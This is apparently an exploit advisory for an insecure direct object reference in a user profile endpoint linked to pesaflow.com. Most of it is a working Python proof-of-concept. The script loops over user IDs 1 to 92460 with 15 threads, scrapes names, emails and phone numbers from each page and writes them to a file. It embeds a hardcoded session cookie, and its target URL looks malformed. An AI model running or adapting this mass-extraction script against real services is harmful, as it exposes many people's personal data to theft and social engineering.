📄 Authentic 8 User Profile Insecure Direct Object Reference

==================================================================================================================================
    | # Title     : Authentic 8 Mass User Data Exposure via IDOR and Missing Access Control in User Profile Endpoint                 |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://pesaflow.com/                                                                                            |
    ==================================================================================================================================
    
    [+] Summary    : The assessment revealed a critical security vulnerability in the user profile endpoint of an online services platform. 
                     This vulnerability allows an application to compromise sensitive personal information by accessing serialized user profile identifiers without validating access permissions.
                     The endpoint returns user attributes, such as full names, email addresses, and phone numbers, which can be retrieved in large quantities due to the lack of access rate limits and effective access controls. 
    				 This allows an authenticated user to browse large portions of the user database.
                     This vulnerability represents a combination of insecure direct object access (IDOR) and inadequate access controls, resulting in the unauthorized exposure of vast amounts of data. 
    				 Exploiting this vulnerability could lead to widespread privacy breaches, user profile identification, and potential social engineering attacks.
    
    [+] POC   :  
    
    import requests
    import re
    import concurrent.futures
    
    MY_COOKIE = "_single_signon_key=feX/ygNzIB73dmAxWodOZ22U446F5pf1B1v+NPUPlj4uAE8T1FbZmlXrH1UxDNO/DZeHERGSyP/HJFAczYwioR9zSNijJRe+W01PYTU+RNK4Wmo3Y6PnKa6xpKdvGxvW"
    RESULT_FILE = "rzlt.txt"
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/122.0.0.0",
        "Cookie": MY_COOKIE,
        "Accept": "text/html,application/xhtml+xml,xml;q=0.9"
    }
    
    def pwn_single_id(target_id):
        url = f"https://127.0.01.gov.ss/user-profile/{target_id}"
        try:
            res = requests.get(url, headers=headers, timeout=15)
            
            if res.status_code == 200:
                html = res.text
    
                name_match = re.search(r'class="font-semibold text-slate-600.*?>(.*?)<', html)
                name = name_match.group(1).strip() if name_match else "N/A"
                email_match = re.search(r'id="email-form_current_email".*?value="(.*?)"', html)
                email = email_match.group(1).strip() if email_match else "N/A"
    
                phone_patterns = [
                    r'id="mobile_number".*?value="(.*?)"',
                    r'id="phone".*?value="(.*?)"',
                    r'name="mobile".*?value="(.*?)"',
                    r'value="(\+\d{7,15})"'
                ]
                
                phone = "N/A"
                for pattern in phone_patterns:
                    match = re.search(pattern, html)
                    if match and match.group(1).strip():
                        phone = match.group(1).strip()
                        break
    
                if email != "N/A" or phone != "N/A":
                    data_line = f"ID: {target_id} | Name: {name} | Email: {email} | Phone: {phone}\n"
                    with open(RESULT_FILE, "a", encoding="utf-8") as f:
                        f.write(data_line)
                    print(f"[+] Captured {target_id}: {email} | {phone}")
                return True
            return False
        except Exception:
            return False
    
    def start_mass_extraction(start_id, end_id, workers=15):
        print(f"[*] Starting Mass Extraction ({start_id} -> {end_id})")
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as executor:
            executor.map(pwn_single_id, range(start_id, end_id + 1))
    
    if __name__ == "__main__":
        start_mass_extraction(1, 92460, workers=15)
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================